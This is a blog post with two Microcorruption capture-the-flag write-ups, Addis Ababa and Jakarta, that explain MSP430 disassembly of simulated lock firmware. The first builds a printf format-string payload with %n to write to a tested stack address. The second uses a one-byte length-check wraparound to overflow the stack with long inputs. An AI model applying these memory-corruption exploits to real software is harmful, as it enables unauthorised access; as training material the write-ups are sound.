Wednesday, September 30, 2015

Microcorruption - Addis Ababa


Addis Ababa

At this point, I decided to see if the same kind of code exists as did in the last level:

448a:  8193 0000      tst       0x0(sp)
448e:  0324               jz        #0x4496 <main+0x5e>
4490:  b012 da44      call      #0x44da <unlock_door>
4494:  053c               jmp       #0x44a0 <main+0x68>
4496:  3012 1f45      push      #0x451f "That entry is not valid."
449a:  b012 c845      call      #0x45c8 <printf>
449e:  2153               incd      sp
44a0:  0f43                clr       r15
44a2:  3150 1600      add       #0x16, sp

Maybe not, there is no final < ret > call that uses the value on the stack, instead the code falls through to 

44a6 <__stop_progExec__>


It  looks like they finally patched things. However there is one place that if we could get a non-zero value onto the stack, we could open the door. 

448a:  8193 0000      tst       0x0(sp)
448e:  0324               jz        #0x4496 <main+0x5e>
4490:  b012 da44      call      #0x44da <unlock_door>

Specifically that address being tested in 4286. 4288 is the starting address of our user input.

Looking at the code some more we see that they are using printf – the format string function in C – to display user input. This is probably what the game designers want us to attack.

The format string vulnerability has been around for more than a decade, but so much code is written in C, and it is such a powerful exploit, that it is worth learning about.

The format string function takes an unspecified amount of arguments and an unspecified amount of format string parameters – and they don't have to match in number. Additionally, one of the format string parameters %n allows you to write to memory.

I suppose at some point this was a neat idea; I wish I had been there for that conversation. 

Basically you ask for user input and give the user the power to write to memory of the program – even if you don't want them to. For more information about format string check out owasp, wikipedia or stackoverflow.

So let's combine the knowledge that we have:
the power to write to memory
an address the is checked for non-zero

Writing a specific value to that memory might be a problem, but all we really need to do is write any non-zero number. So, we provide the address we want to write to, then write to it. After which it is tested for non-zero and the door is unlocked.

86 42                                       25 78     25 6E

--address (little endian)----   % x --- %  s –

That's it. Printf will write a number (that number being the number of bytes printed) to the address specified.


Try using some of the other format string parameters to see if you can get a better cycle time.

Monday, September 14, 2015

Microcorruption - Jakarta


JAKARTA

Again we see that at the very end of the main sequence we have the following bits of code where 0x22 is added to the stack pointer and then we return to that point indicated by the stack pointer:

4626:  3f40 4245      mov #0x4542 "That password is not correct.", r15
462a:  b012 c846      call #0x46c8 <puts>
462e:  3150 2200      add #0x22, sp
4632:  3b41              pop r11
4634:  3041                   ret


As before we should be able to inject our code, overflow the stack and leave our desired address on the stack. 

Username stored at 0x3ff2
Password stored at <end of username>
Return         stored at 0x4016     - address to return to is 4440 (clears r15 then prog stop)


A username of regular characters that is too long triggers a password too long error.

The length of the username is determined by within puts (0x46c8) and the resulting length is popped into R11.

This is a loop that starts counting at 2401 (temp memory storage) and measures how long the password is.

45ee:  3f40 0124     mov #0x2401, r15
45f2:  1f53           inc r15       < -------
45f4:  cf93 0000      tst.b 0x0(r15)                |
45f8:  fc23           jnz #0x45f2 <login+0x92> ---------
45fa:  3f80 0224      sub #0x2402, r15 total is … ?
45fe:  0f5b           add r11, r15         now add the two together for total length
4600:  7f90 2100    cmp.b #0x21, r15 r15 - #0x21 and set some flags ...
4604:  0628           jnc #0x4612 <login+0xb2> if no carry, jump to fail

but hey, we are just looking at the low end bytes of r15 right? 
cmp.b is the command. Thus our combined length in r15 is either less than 0x00 to 0x20 or like 0x101...

So as a starting plan: fill the space with garbage excepting address space 4016 (which is 35 bytes in from start). The username itself has to be less than 0x20 (32) and the password length combined with the username length has to be 0x101 (257) so the password has to be of length 0xE1 (225) characters.

Let's try the following:
---------------------------------------------------------------------------------
username: aaaaaaaaaabbbbbbbbbbccccccccccdd
password: aaaaLDaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeeeffffffffffgggggggggghhhhhhhhhhiiiiiiiiiijjjjjjjjjjaaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeeeffffffffffgggggggggghhhhhhhhhhiiiiiiiiiijjjjjjjjjjaaaaaaaaaabbbbbbbbbbcccc


33,836 cycles


But we can recycle our old code to do better cyclewise …